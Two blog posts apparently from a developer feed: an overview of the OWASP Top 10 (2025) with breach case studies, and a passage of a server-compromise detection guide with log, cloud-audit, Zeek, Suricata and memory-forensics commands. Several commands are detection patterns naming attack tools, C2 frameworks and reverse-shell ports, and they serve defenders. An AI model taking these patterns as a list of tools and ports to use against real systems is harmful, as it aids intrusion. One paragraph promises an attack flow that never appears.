Forem: Olawale Afuye

The OWASP Top 10 (2025): 10 Ways Developers Are Handing Attackers the Keys

Olawale Afuye — Sun, 24 May 2026 10:40:14 +0000

The OWASP Top 10 (2025): 10 Ways Developers Are Handing Attackers the Keys

Every major breach you've read about in the last five years?

It was probably on this list.

The OWASP Top 10 is updated every few years. It is not theory. It is a leaderboard of the most exploited vulnerabilities in production systems, right now, in companies with real engineering teams and real security budgets.

Here are all 10. With receipts.

#1 — Broken Access Control

Still number one. Has been number one since 2021.

This is what happens when your server trusts the client to tell it what data to fetch — and never checks whether that user actually owns it.

The attack is almost embarrassingly simple. You change a number in a URL or a request body. user_id=1001 becomes user_id=1002. Server returns someone else's data. No hacking. Just counting.

Real world: In 2022, Optus — Australia's second-largest telco — exposed nearly 10 million customer records through an unauthenticated API endpoint. No authentication required. You just had to know the URL existed. By the time they shut it down, the attacker had already enumerated and downloaded records on a massive scale.
The April 2026 - Lovable breach is a perfect, modern example of Broken Object Level Authorization (BOLA).In this real-world incident, the AI-powered app-building platform Lovable exposed sensitive project data—including source code, internal AI reasoning logs, database credentials, and production customer information.The attack flow highlights exactly how a modern BOLA vulnerability operates:

Mitigate with: server-side authorization checks on every request, SAST, DAST, and regular pen testing.

#2 — Security Misconfiguration

Your application code can be perfect. Your infrastructure will still betray you.

This one is almost always an infrastructure problem, not a code problem. Public S3 buckets. Default credentials left unchanged. Verbose error messages exposing stack traces to end users. Debug endpoints left alive in production.

Real world: In 2023, PwC Nigeria had passports and personal addresses of bootcamp participants leaked from a misconfigured S3 bucket. The same year, Capita — a major UK government outsourcing firm — had council resident data exposed the same way. Not because someone hacked them. Because someone clicked the wrong permission setting.

Datadog reported that as of 2024, 1.48% of all AWS S3 buckets were effectively public. That sounds small until you realize there are hundreds of billions of S3 objects out there.

Mitigate with: IaC scanning, CSPM tools, and the radical idea of auditing your cloud permissions more than once a year.

#3 — Software & Supply Chain Failures

This one has evolved. It used to be called "outdated components." The 2025 edition is scarier.

It's not just about forgetting to patch. It's about trusting software you didn't write, can't audit, and don't fully understand — because it's open-source, or it came from a VS Code extension, or it's a transient dependency six layers deep in your package tree.

Real world: In March 2024, a developer named "Jia Tan" — who had spent two years quietly contributing to the XZ Utils open-source compression library — pushed a malicious backdoor into versions 5.6.0 and 5.6.1. The CVSS score was a perfect 10.0. It targeted OpenSSH authentication on Linux systems. It was only caught because a Microsoft engineer noticed an unexplained performance drop in a pre-release Debian build. That was luck. Not process.

The SolarWinds attack in 2020 hit 18,000+ organizations — including US government departments — via a compromised software build pipeline. The attackers had access for months before anyone noticed.

Mitigate with: SCA tools, dependency auditing, pinned package versions, and signed CI/CD pipelines.

#4 — Cryptographic Failures

Using encryption is not enough. Using the right encryption is the actual requirement.

MD5 is not encryption. SHA-1 without salting is not protection. Storing sensitive data in plaintext because "it's an internal database" is a decision someone will regret personally.

Real world: In 2012, LinkedIn was breached. 6.5 million password hashes were leaked. They used unsalted SHA-1. Crackers broke over 60% of them almost immediately. The full scale of the breach wasn't revealed until 2016 — 117 million accounts. The passwords were essentially readable because the underlying cryptographic choices were made by people who never expected the database to leak.

Security researchers can calculate approximately 20 billion MD5 hashes per second on modern hardware. That "encrypted" database is not encrypted. It's a waiting room.

Mitigate with: bcrypt, scrypt, or Argon2 for passwords. TLS everywhere. SAST to catch weak algorithm usage.

#5 — Injection

This one has been on the OWASP list since the beginning. And it keeps showing up.

The concept is deceptively simple: user input that gets treated as executable code. SQL injection. Command injection. LDAP injection. The application trusts the data, the database doesn't know better, and now the attacker is running arbitrary queries on your production database.

Real world: In May 2023, the Cl0p ransomware group exploited a zero-day SQL injection vulnerability in MOVEit Transfer — a widely used enterprise file transfer tool. CVE-2023-34362. They had been testing this vulnerability since 2021. When they finally pulled the trigger, they hit thousands of organizations in days. Amazon confirmed that data on over 2 million employees was exposed. The BBC, British Airways, and multiple US government agencies were among the victims.

All of this because untrusted input reached a database query without sanitization.

Mitigate with: prepared statements, parameterized queries, input escaping, and SAST/DAST scanning.

#6 — Insecure Design

This is the uncomfortable one.

The other nine vulnerabilities on this list are implementation problems. This one is a thinking problem. Logic flaws baked into how a system was designed, before a single line of code was written.

You can't patch your way out of insecure design. It requires going back to the architecture.

Real world: In September 2022, an 18-year-old hacker got into Uber's internal systems — including Slack, AWS, and Google Workspace — without a single sophisticated exploit. He bought a contractor's stolen credentials online, then bombarded that contractor's phone with MFA push notifications. Forty notifications in thirty minutes. The contractor, exhausted, approved one. The attacker then impersonated Uber IT support on WhatsApp to explain what was happening. Inside, he found PowerShell scripts with hardcoded admin credentials.

No SQL injection. No zero-day. A design that assumed MFA push notifications were sufficient and that human fatigue would never become the attack surface.

Mitigate with: threat modeling (STRIDE), security design reviews, and treating human behavior as part of the attack surface, not an afterthought.

#7 — Authentication Failures

Credential stuffing. Default passwords. Broken session management. All of these live here.

The problem is almost never that authentication is too hard to implement. The problem is that teams roll their own authentication instead of using trusted providers — and discover later how many edge cases they missed.

Real world: The T-Mobile breach of 2023 traced back to API endpoints that didn't verify the requesting customer matched the account being queried. Change the account identifier. Get someone else's data. Authentication was present. Authorization was absent. The distinction matters enormously.

Default credentials remain one of the most reliable attack paths against enterprise infrastructure. Not because organizations don't know better. Because nobody checked.

Mitigate with: battle-tested identity providers like Okta or Auth0, rate limiting on login endpoints, MFA with number-matching (not just push-approval), and account lockout policies.

#8 — Software & Data Integrity Failures

You're trusting software updates and build pipelines that you've never verified.

This is what happens when your CI/CD pipeline pulls dependencies from unverified sources, your deployment scripts don't validate checksums, and your update mechanism doesn't verify signatures.

Real world: The SolarWinds attack is the canonical example. Attackers injected SUNBURST malware into Orion's legitimate update process. The update was signed with SolarWinds' actual certificate. Organizations installed it because they trusted the vendor. That trust became the weapon.

In June 2024, Polyfill.io — a widely used JavaScript CDN — was acquired by a Chinese company that immediately began injecting malicious code into the scripts served to millions of websites. Every site that loaded polyfill.io scripts without integrity verification became a distribution point for malware without any action from the site owners themselves.

Mitigate with: cryptographic signing of builds and artifacts, verified integrity checks in deployment pipelines, and strict review of third-party CDN dependencies.

#9 — Logging & Monitoring Failures

This is the silent killer.

The breach has already happened. The attacker is already inside. But nobody knows — because nobody is watching.

The Equifax breach in 2017 is the textbook case for this. Apache Struts CVE-2017-5638 was disclosed in March. The patch was available in March. Equifax failed to apply it. Attackers got in on May 13th. Equifax didn't discover the breach until July 29th — over 78 days later. The logging architecture was fragmented. Alerts went to overloaded analysts. No centralized SIEM correlated the suspicious activity. Over 300 security monitoring certificates had expired, including ones monitoring critical domains. 147 million Americans' data was exposed.

The vulnerability let them in. The logging failure let them stay.

Mitigate with: centralized logging, real-time alerting on anomalous patterns, tested incident response plans, and — critically — actually reviewing your alerts.

#10 — Mishandling of Exceptional Conditions

What happens when your application receives input it wasn't designed for?

Most developers design for the happy path. Attackers specifically test what happens when input is chaotic, malformed, oversized, empty, or structurally wrong. If those conditions cause your application to crash, leak data, or behave unpredictably, that predictability becomes exploitable.

Buffer overflows. Integer overflows. Uncaught exceptions that expose stack traces. All of these live in this category.

Mitigate with: fuzzing — automated tools that throw unexpected, malformed, and random inputs at your system to find failure modes before attackers do.

The Pattern Across All 10

Read all of these and one thing becomes clear.

Most of these breaches weren't sophisticated. They weren't the work of nation-state hackers deploying exotic zero-days. They were SQL injection left unchecked. An S3 bucket with the wrong permission. A password hashed with an algorithm from 1995. A log nobody was reading.

The uncomfortable truth is that most breaches happen not because security is hard, but because security is treated as someone else's problem.

It is not.

Security is a design discipline. It belongs in architecture conversations, in code reviews, in your dependency audits, and in your incident response drills. Tools like SAST, DAST, and SCA handle a lot of the mechanical detection. But tools can't fix an architecture that wasn't designed with threat modeling. They can't retroactively salt your password hashes. They can't make your team read the alerts they're ignoring.

The OWASP Top 10 has been published since 2003. The same categories keep showing up. The companies keep changing. The vulnerabilities don't.

That should tell you something.

Which of these is the one your team is most likely to miss? Drop it in the comments.

How to Know If a Threat Actor Has Accessed Your Server

Olawale Afuye — Sat, 23 May 2026 20:42:01 +0000

A practical detection, investigation, and response guide for DevOps engineers, backend developers, security engineers, and startup CTOs.

Sobering reality: IBM's 2023 Cost of a Data Breach Report found that the average breach goes undetected for 204 days — nearly 7 months. By the time most teams notice something is wrong, the attacker has already been living in their infrastructure long enough to map every service, exfiltrate sensitive data, and install multiple persistence mechanisms. The detection gap, not the initial intrusion, is what turns an incident into a catastrophe.

This guide closes that gap.

Introduction
Common Signs a Threat Actor Accessed a Server
Where to Check — Logs & Evidence Sources
Network-Based Detection
Step-by-Step Investigation Playbook
Useful Commands & Tools
MITRE ATT&CK Technique Mapping
Indicators of Compromise (IoC) Checklist
Immediate Response Actions
Legal, Compliance & Regulatory Obligations
Prevention Best Practices
Windows Server Incident Response
Real-World Example
Conclusion — The DICRP Framework
Quick Reference

1. Introduction

Every server connected to the internet is a target. It is not a question of if someone will attempt to access it without authorisation — it is a question of when, and whether you will detect it in time.

A server compromise occurs when an unauthorised party gains access to a system in a way that was not intended, permitted, or expected. This could range from a low-privilege attacker who merely explored your file system to a sophisticated threat actor who has maintained persistent access for months, exfiltrated data, and planted backdoors before you noticed anything unusual.

Normal vs. Suspicious vs. Confirmed Compromise

Understanding the difference between these three states is the foundation of any incident investigation.

State	Description	Example
Normal access	Expected behaviour from known users, services, or automated systems	Your deployment pipeline SSH-ing in as `deploy` at 2:00 AM
Suspicious access	Anomalous activity that may or may not be malicious — requires investigation	A root login from an unrecognised IP at 3:47 AM
Confirmed compromise	Evidence of unauthorised access, malicious activity, or data breach	A reverse shell process running as `www-data`; unknown SSH keys added

The critical skill is recognising the gap between "something looks off" and "we have been breached." Many teams either dismiss suspicious signals too quickly or panic at false positives. This guide will help you tell the difference — and act accordingly.

2. Common Signs a Threat Actor Accessed a Server

Before diving into log analysis, you need to know what you are looking for. The following indicators are the most common signals that something is wrong.

2.1 Unusual Login Attempts (SSH / RDP / API)

MITRE ATT&CK: T1110 — Brute Force, T1078 — Valid Accounts

Brute-force attempts are often a precursor to or evidence of access. A high volume of failed logins followed by a single successful one is a textbook sign of a successful brute-force attack.

What to look for:

Multiple failed SSH attempts from the same or rotating IP addresses
Successful logins from geographic locations inconsistent with your team
Logins at unusual hours (3:00 AM when your team is in Lagos / London / NYC)
Logins from IPs flagged in threat intelligence databases (Shodan, AbuseIPDB)
API authentication tokens used from unexpected IP ranges

2.2 Unknown Users or Privilege Escalation

MITRE ATT&CK: T1136 — Create Account, T1548 — Abuse Elevation Control Mechanism

Attackers often create backdoor accounts or escalate privileges to maintain access.

What to look for:

New user accounts in /etc/passwd you did not create
Users added to sudo or the wheel group without authorisation
Changes to /etc/sudoers or /etc/sudoers.d/
A non-root user suddenly running processes as root
SUID/SGID binaries that were not there before

2.3 Unexpected Running Processes / Services

MITRE ATT&CK: T1059 — Command and Scripting Interpreter, T1543 — Create or Modify System Process

Malicious actors install tools — cryptominers, reverse shells, data exfiltration agents. These show up as unexpected processes.

What to look for:

Processes with random or disguised names (e.g., kworkerds, sysupdate, .init)
Processes listening on unusual ports
Unknown services registered with systemd or init.d
Processes consuming excessive CPU (often cryptominers)
Processes running as www-data, nginx, or other service accounts but performing non-service tasks

2.4 Modified System Files / Configurations

MITRE ATT&CK: T1565 — Data Manipulation, T1601 — Modify System Image

Attackers modify system files to maintain persistence or disable defences.

What to look for:

Changes to /etc/hosts (redirecting DNS)
Modified shell profiles: .bashrc, .bash_profile, .profile, /etc/profile.d/
Altered PAM configuration files (/etc/pam.d/)
Modified SSH server config (/etc/ssh/sshd_config) — e.g., PermitRootLogin yes added
Timestamp discrepancies on critical binaries (ls, ps, netstat, find)
Changes to web application files (index.php, config.js) — webshells

2.5 Unusual Outbound / Inbound Network Traffic

MITRE ATT&CK: T1071 — Application Layer Protocol, T1041 — Exfiltration Over C2 Channel

Data exfiltration and command-and-control (C2) communication create distinctive network patterns.

What to look for:

Large outbound data transfers to unknown IPs, especially at odd hours
Connections to known malicious IP ranges or Tor exit nodes
Unusual protocols or ports (IRC on port 6667, DNS tunnelling, ICMP data transfer)
New persistent connections to external IPs from service accounts
DNS queries to domains with high entropy (DGA — Domain Generation Algorithm)

2.6 High CPU, RAM, or Disk Usage Anomalies

MITRE ATT&CK: T1496 — Resource Hijacking

Resource abuse is one of the most visible (and often first noticed) signs of compromise.

What to look for:

CPU usage consistently above 80–90% with no corresponding application load
Disk I/O spikes with no scheduled jobs running
Disk filling up rapidly with unexpected files
Memory exhaustion tied to an unknown process
Cryptomining malware is the most common cause — it is immediately visible in resource graphs

2.7 Disabled Security Tools or Logs

MITRE ATT&CK: T1562 — Impair Defenses, T1070 — Indicator Removal

A sophisticated attacker's first action is often to blind your monitoring.

What to look for:

auditd, fail2ban, iptables, or ufw suddenly stopped or disabled
Log files that are empty, truncated, or have suspicious gaps
cron entries that pipe logs to /dev/null
Security agent (CrowdStrike, Wazuh, OSSEC) reporting offline
syslog daemon stopped or replaced

2.8 Unexpected Cron Jobs / Scheduled Tasks

MITRE ATT&CK: T1053 — Scheduled Task/Job

Cron is a favourite persistence mechanism for attackers.

What to look for:

Entries in /var/spool/cron/crontabs/ you do not recognise
New files in /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/
Cron jobs that download and execute scripts from external URLs
Windows: Scheduled Tasks created under \Microsoft\Windows\ in Task Scheduler
Systemd timers (systemctl list-timers) that are unexpected

2.9 New SSH Keys or Changed Credentials

MITRE ATT&CK: T1098 — Account Manipulation, T1556 — Modify Authentication Process

Attackers plant SSH keys to ensure persistent re-entry even after passwords are changed.

What to look for:

New entries in ~/.ssh/authorized_keys for root or any user
New keys in /etc/ssh/authorized_keys (if configured globally)
SSH host keys regenerated (check /etc/ssh/ssh_host_*)
Changed /etc/passwd or /etc/shadow entries (password hash changes)
Cloud metadata service SSH key updates (AWS EC2 Instance Connect, GCP OS Login)

3. Where to Check — Logs & Evidence Sources

Once you suspect compromise, you need to know exactly where to look. Here is a comprehensive map of log locations and what each reveals.

3.1 Linux System Logs

Log File	Location	What It Contains
`auth.log`	`/var/log/auth.log` (Debian/Ubuntu)	SSH logins, sudo usage, PAM events
`secure`	`/var/log/secure` (RHEL/CentOS/Amazon Linux)	Same as auth.log for RPM-based distros
`syslog`	`/var/log/syslog`	General system messages, daemon activity
`kern.log`	`/var/log/kern.log`	Kernel events, unusual driver/module loads
`wtmp`	`/var/log/wtmp`	Binary log of all logins/logouts (read with `last`)
`btmp`	`/var/log/btmp`	Binary log of failed logins (read with `lastb`)
`lastlog`	`/var/log/lastlog`	Most recent login per user (read with `lastlog`)
`audit.log`	`/var/log/audit/audit.log`	System call auditing (if `auditd` is enabled)

Using journalctl (systemd-based systems):

# Show all logs from the past 24 hours
journalctl --since "24 hours ago"

# Show SSH service logs within a date range
journalctl -u ssh --since "2024-01-01" --until "2024-01-07"

# Show logs for a specific process ID
journalctl _PID=1234

# Show kernel messages only
journalctl -k

# Follow logs in real time
journalctl -f

# Show logs at warning priority or higher
journalctl -p warning

3.2 Web Server Logs

Web servers are frequent entry points via exploited applications, LFI, RFI, SQL injection, or webshells.

Nginx:

# Default access log
tail -f /var/log/nginx/access.log

# Look for POST requests to unusual paths (webshell access)
grep "POST" /var/log/nginx/access.log | grep -v "api\|login\|upload"

# Look for scanning patterns (many 404s from one IP)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# Look for unusual user agents
grep -i "sqlmap\|nikto\|nmap\|masscan\|python-requests\|zgrab" /var/log/nginx/access.log

Apache:

# Apache access log
tail -f /var/log/apache2/access.log

# HTTP status code distribution — many 200s on unusual paths = webshell hits
cat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn

3.3 Cloud Audit Logs

AWS CloudTrail:

# Find console login events
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time 2024-01-01T00:00:00Z --end-time 2024-01-07T00:00:00Z

# Look for root account usage (always suspicious)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=root

# Look for IAM user creation
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser

# Look for security group rule additions (attacker opening ports)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AuthorizeSecurityGroupIngress

GCP Audit Logs:

# View admin activity logs
gcloud logging read \
  "logName=projects/YOUR_PROJECT/logs/cloudaudit.googleapis.com%2Factivity" \
  --limit 100 --format json

# Filter for IAM policy changes
gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit 50

Azure Monitor:

# Query for role assignment changes
az monitor activity-log list \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-07T00:00:00Z \
  --query "[?authorization.action=='Microsoft.Authorization/roleAssignments/write']"

3.4 Firewall and WAF Logs

# iptables — view current rules with byte counts
iptables -L -n -v

# View recent iptables drops (if DROP logging is enabled)
grep "iptables" /var/log/syslog | tail -50

# UFW logs
grep "UFW" /var/log/ufw.log | grep "BLOCK" | tail -50

# fail2ban — view currently banned IPs
fail2ban-client status sshd

# See all bans across all jails
fail2ban-client status

3.5 Container and Kubernetes Logs

MITRE ATT&CK: T1610 — Deploy Container, T1613 — Container and Resource Discovery

# Docker — view container logs
docker logs <container_id> --tail 200 --follow

# Inspect a running container's processes
docker top <container_id>

# Check for unexpected or recently created containers
docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.CreatedAt}}\t{{.Status}}"

# Inspect container for dangerous mounts (host path mounts = escalation risk)
docker inspect <container_id> | jq '.[].HostConfig.Binds'

# ── Kubernetes ──────────────────────────────────────────────────────
# View pod logs (including previous crashed pod)
kubectl logs <pod-name> -n <namespace> --previous

# View recent events across all namespaces
kubectl get events --all-namespaces --sort-by=.metadata.creationTimestamp

# ── RBAC Enumeration — what can each service account do? ──────────
# List all ClusterRoleBindings (look for unexpected admin rights)
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'

# List all service accounts and their bound roles
kubectl get rolebindings,clusterrolebindings --all-namespaces -o wide

# Check for service accounts with wildcard permissions (dangerous)
kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<sa-name>

# ── Service Account Token Exposure ─────────────────────────────────
# Check if pods are auto-mounting service account tokens (they shouldn't unless needed)
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.automountServiceAccountToken!=false) | 
  {name: .metadata.name, namespace: .metadata.namespace}'

# ── Privileged / Host-Access Pods (container escape risk) ──────────
# Find privileged pods — these can escape to the host kernel
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | 
  {name: .metadata.name, namespace: .metadata.namespace}'

# Find pods with hostPID or hostNetwork (another escape vector)
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) |
  {name: .metadata.name, namespace: .metadata.namespace}'

# ── Container Escape Indicators ────────────────────────────────────
# If running inside a container, check if you can reach the Docker socket
# (presence means container escape may already have occurred)
ls -la /var/run/docker.sock 2>/dev/null && echo "WARNING: Docker socket mounted"

# Check if cgroups indicate container escape (unexpected cgroup namespaces)
cat /proc/1/cgroup

# ── Kubernetes Audit Log Analysis ──────────────────────────────────
# If audit logging is enabled on the API server, look for:
# - Anonymous access attempts
# - exec into pods (T1609)
# - port-forward commands (lateral movement)
grep '"verb":"exec"' /var/log/kubernetes/audit.log | jq .
grep '"verb":"port-forward"' /var/log/kubernetes/audit.log | jq .
grep '"username":"system:anonymous"' /var/log/kubernetes/audit.log | jq .

3.6 EDR and SIEM Queries

# Splunk — parent-child process anomalies (webshell execution)
index=endpoint | eval parent_child=parent_process+"-"+process_name
| stats count by parent_child | sort -count

# Elastic KQL — new privileged users (Windows Event IDs)
event.code: 4728 OR event.code: 4732

# Elastic KQL — lateral movement via SMB
event.action: "network_connection" AND destination.port: 445

4. Network-Based Detection

Network telemetry often reveals attacker activity before host logs do — especially when logs have been tampered with. This section covers the tools and techniques for network-level forensics.

4.1 Zeek (formerly Bro) Log Analysis

Zeek is a powerful network analysis framework that passively monitors traffic and writes structured logs. On a compromised network, Zeek logs are gold.

# Install Zeek (Ubuntu)
apt install zeek -y
# Config: /usr/local/zeek/etc/node.cfg — set interface

# Key Zeek log files (default: /var/log/zeek/current/ or /usr/local/zeek/logs/current/)
# conn.log     — all network connections (src/dst IP, port, bytes, duration)
# dns.log      — all DNS queries and responses
# http.log     — HTTP requests (URI, method, user-agent, response codes)
# ssl.log      — TLS/SSL connections (SNI, certificate info)
# notice.log   — Zeek-generated alerts
# weird.log    — protocol anomalies (very useful for C2 detection)

# Find long-duration connections (beacon/C2 behaviour)
cat /var/log/zeek/current/conn.log | \
  zeek-cut id.orig_h id.resp_h id.resp_p duration | \
  sort -k4 -rn | head -20

# Find unusually large outbound data transfers (exfiltration)
cat /var/log/zeek/current/conn.log | \
  zeek-cut id.orig_h id.resp_h resp_bytes | \
  awk '$3 > 10000000' | sort -k3 -rn | head -10

# Find DNS queries to high-entropy domains (DGA / C2 beaconing)
cat /var/log/zeek/current/dns.log | \
  zeek-cut query | sort | uniq -c | sort -rn | head -30

# Find HTTP requests with suspicious user-agents
cat /var/log/zeek/current/http.log | \
  zeek-cut id.orig_h host uri user_agent | \
  grep -i "curl\|wget\|python\|go-http\|libwww" | head -20

# Identify connections to Tor exit nodes
# (requires enriching with Tor exit node list)
comm -12 \
  <(cat /var/log/zeek/current/conn.log | zeek-cut id.resp_h | sort -u) \
  <(curl -s https://check.torproject.org/torbulkexitlist | sort -u)

4.2 Suricata IDS Alert Triage

Suricata is an open-source IDS/IPS that writes alerts in EVE JSON format.

# Install Suricata (Ubuntu)
apt install suricata -y
suricata-update  # Pull latest Emerging Threats ruleset

# EVE JSON alert log location
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'

# Find all alerts sorted by severity
jq 'select(.event_type=="alert") | {timestamp, src_ip, dest_ip, alert: .alert.signature, severity: .alert.severity}' \
  /var/log/suricata/eve.json | less

# Filter for high-severity alerts only (severity 1)
jq 'select(.event_type=="alert" and .alert.severity==1)' \
  /var/log/suricata/eve.json

# Find C2 beacon alerts
jq 'select(.event_type=="alert") | select(.alert.signature | test("C2|beacon|Cobalt|Meterpreter|reverse"))' \
  /var/log/suricata/eve.json

# Aggregate alerts by signature (find most triggered rules)
jq -r 'select(.event_type=="alert") | .alert.signature' \
  /var/log/suricata/eve.json | sort | uniq -c | sort -rn | head -20

# Find DNS anomalies detected by Suricata
jq 'select(.event_type=="dns" and .dns.type=="answer")' \
  /var/log/suricata/eve.json | head -20

4.3 DNS Query Forensics

DNS is abused for data exfiltration, C2 communication, and DGA-based malware.

# If using systemd-resolved, query the DNS cache
resolvectl statistics

# View recent DNS queries on the system (requires audit rule on DNS)
# Set up DNS audit rule:
auditctl -w /etc/resolv.conf -p wa -k dns_config_change

# Capture and analyse live DNS queries with tcpdump
tcpdump -i eth0 -n port 53 -w /tmp/dns_capture.pcap
# Then analyse with Wireshark or tshark:
tshark -r /tmp/dns_capture.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -rn

# DNS-over-HTTPS bypass detection: look for DoH endpoints
grep -r "dns.google\|cloudflare-dns.com\|1.1.1.1\|8.8.8.8" \
  /var/log/nginx/access.log /var/log/syslog 2>/dev/null

# Check for DNS tunnelling (unusually long subdomain queries)
cat /var/log/zeek/current/dns.log | zeek-cut query | \
  awk 'length($1) > 50' | head -20

# Look for high-frequency queries to a single domain (C2 polling)
cat /var/log/zeek/current/dns.log | zeek-cut query | \
  sort | uniq -c | sort -rn | head -20

4.4 AWS VPC Flow Log Analysis for C2 Identification

VPC Flow Logs capture all IP traffic to/from your EC2 instances and are invaluable for detecting C2, lateral movement, and exfiltration.

# Enable VPC Flow Logs (if not already enabled)
aws ec2 create-flow-logs \
  --resource-type VPC \
  --resource-ids vpc-YOUR_VPC_ID \
  --traffic-type ALL \
  --log-destination-type cloud-watch-logs \
  --log-group-name /aws/vpc/flowlogs \
  --deliver-logs-permission-arn arn:aws:iam::ACCOUNT:role/FlowLogsRole

# Query flow logs using AWS Athena (after configuring Athena table)
# Find top talkers (potential exfiltration)
SELECT srcaddr, dstaddr, sum(bytes) as total_bytes
FROM vpc_flow_logs
WHERE action = 'ACCEPT'
  AND dstaddr NOT LIKE '10.%'
  AND dstaddr NOT LIKE '172.16.%'
  AND dstaddr NOT LIKE '192.168.%'
GROUP BY srcaddr, dstaddr
ORDER BY total_bytes DESC
LIMIT 20;

# Find connections to suspicious ports commonly used by C2 frameworks
SELECT srcaddr, dstaddr, dstport, protocol, sum(packets) as pkt_count
FROM vpc_flow_logs
WHERE dstport IN (4444, 4445, 8080, 8443, 1337, 31337, 6667, 1080)
  AND action = 'ACCEPT'
GROUP BY srcaddr, dstaddr, dstport, protocol
ORDER BY pkt_count DESC;

# Detect port scanning (many destinations, low packet counts)
SELECT srcaddr, count(distinct dstaddr) as unique_dsts, sum(packets) as total_pkts
FROM vpc_flow_logs
WHERE action = 'REJECT'
GROUP BY srcaddr
HAVING count(distinct dstaddr) > 100
ORDER BY unique_dsts DESC;

# Identify periodic beaconing (C2 polling — regular intervals to same destination)
# Look for consistent, low-byte connections to a single external IP
SELECT srcaddr, dstaddr, dstport,
       date_trunc('minute', from_unixtime(start)) as minute_bucket,
       count(*) as connections
FROM vpc_flow_logs
WHERE action = 'ACCEPT'
  AND dstaddr NOT LIKE '10.%'
GROUP BY srcaddr, dstaddr, dstport, date_trunc('minute', from_unixtime(start))
HAVING count(*) > 1
ORDER BY connections DESC;

5. Step-by-Step Investigation Playbook

When you suspect a compromise, do not panic and do not immediately shut the server down — you may destroy forensic evidence. Follow this structured process.

┌─────────────────────────────────────────────────────────────────┐
│                  INCIDENT INVESTIGATION FLOW                    │
│                                                                 │
│  1. Confirm Indicators  →  2. Preserve Evidence                 │
│           ↓                        ↓                            │
│  3. Identify Access     →  4. Determine Attacker Actions        │
│     Vector                         ↓                            │
│           ↓                5. Check Persistence                 │
│  6. Scope Affected      ←          ↓                            │
│     Systems             ←  7. Reconstruct Timeline              │
└─────────────────────────────────────────────────────────────────┘

Step 1 — Confirm Suspicious Indicators

Before escalating, verify that what you are seeing is genuinely anomalous. Cross-reference against:

Your deployment schedule (was that 3 AM login from your CI/CD pipeline?)
IP allow-lists and team VPN ranges
Recently onboarded engineers or contractors
Any known penetration tests or red team engagements

If after cross-referencing you cannot explain the activity, treat it as a confirmed incident.

Step 2 — Preserve Evidence

This is the most time-critical step. Evidence can be overwritten, logs can rotate, and memory is volatile.

# Create a forensics output directory
mkdir -p /tmp/forensics && cd /tmp/forensics

# Capture running processes snapshot
ps auxf > processes.txt

# Capture active network connections
ss -tulpn > network_connections.txt

# Capture logged-in users
who > who.txt && w >> who.txt && last -n 100 > last_logins.txt

# Dump current iptables rules
iptables-save > iptables_rules.txt

# Capture all crontabs
crontab -l > root_cron.txt 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ===" >> all_crontabs.txt
  crontab -u "$user" -l 2>/dev/null >> all_crontabs.txt
done

# Capture loaded kernel modules
lsmod > kernel_modules.txt

# Copy critical log files
cp /var/log/auth.log ./ 2>/dev/null || cp /var/log/secure ./ 2>/dev/null
cp /var/log/syslog ./ 2>/dev/null

# Hash all collected files for chain-of-custody
sha256sum * > evidence_hashes.txt

Memory acquisition with LiME (Linux Memory Extractor):

Unlike avml (which is Azure-specific and requires pre-deployment), LiME is a loadable kernel module that works across all Linux distributions and can be compiled on-demand.

# ── Install LiME ───────────────────────────────────────────────────
# Prerequisites
apt install linux-headers-$(uname -r) build-essential git -y  # Debian/Ubuntu
# or: yum install kernel-devel gcc git -y                      # RHEL/CentOS

# Clone and build LiME
git clone https://github.com/504ensicsLabs/LiME.git /tmp/LiME
cd /tmp/LiME/src
make

# This produces a .ko kernel module, e.g.: lime-5.15.0-generic.ko

# ── Acquire memory dump ────────────────────────────────────────────
# Option A: Dump to a local file
insmod lime-$(uname -r).ko "path=/tmp/forensics/memory.lime format=lime"

# Option B: Dump directly over the network to your forensics workstation
# On your workstation: nc -l -p 4242 > memory.lime
# On the target server:
insmod lime-$(uname -r).ko "path=tcp:4242 format=lime"

# Unload LiME after acquisition
rmmod lime

# ── Analyse the memory dump ────────────────────────────────────────
# Use Volatility3 on your forensics workstation
pip3 install volatility3

# List processes from memory dump
vol -f memory.lime linux.pslist.PsList

# Find network connections in memory
vol -f memory.lime linux.netstat.Netstat

# Check for hidden processes (rootkit detection)
vol -f memory.lime linux.pstree.PsTree

# Extract bash command history from memory
vol -f memory.lime linux.bash.Bash

# Find injected code / malicious shared libraries
vol -f memory.lime linux.library_list.LibraryList

Cloud best practice: Before acquiring memory, take an EBS snapshot / cloud disk snapshot. This preserves the entire disk state and is your fastest path to a forensic copy. A disk snapshot takes seconds; LiME compilation may take minutes.

Step 3 — Identify the Initial Access Vector

How did they get in? Common vectors and where to look for each:

Vector	MITRE ATT&CK	Where to Look
Brute-forced SSH	T1110.001	`auth.log` — many failed logins then success
Exploited web application	T1190	Web server logs — unusual POST requests, 500 spikes
Stolen credentials / leaked key	T1078	CloudTrail / IAM logs — access from unexpected IPs
Supply chain (compromised dependency)	T1195	Application logs — unusual library behaviour
Phishing → credential theft	T1566	Email logs, SIEM identity events
Unpatched CVE	T1203	Check versions: `nginx -v`, `openssl version`, etc.
Exposed cloud storage	T1530	S3/GCS access logs — `GetObject` from unknown IPs
Misconfigured metadata service (SSRF)	T1552.005	SSRF logs, cloud audit logs for credential usage

# Check SSH login history for the first suspicious successful login
grep "Accepted" /var/log/auth.log | grep -v "YOUR_KNOWN_IPS"

# Check for web exploitation via suspicious HTTP payloads
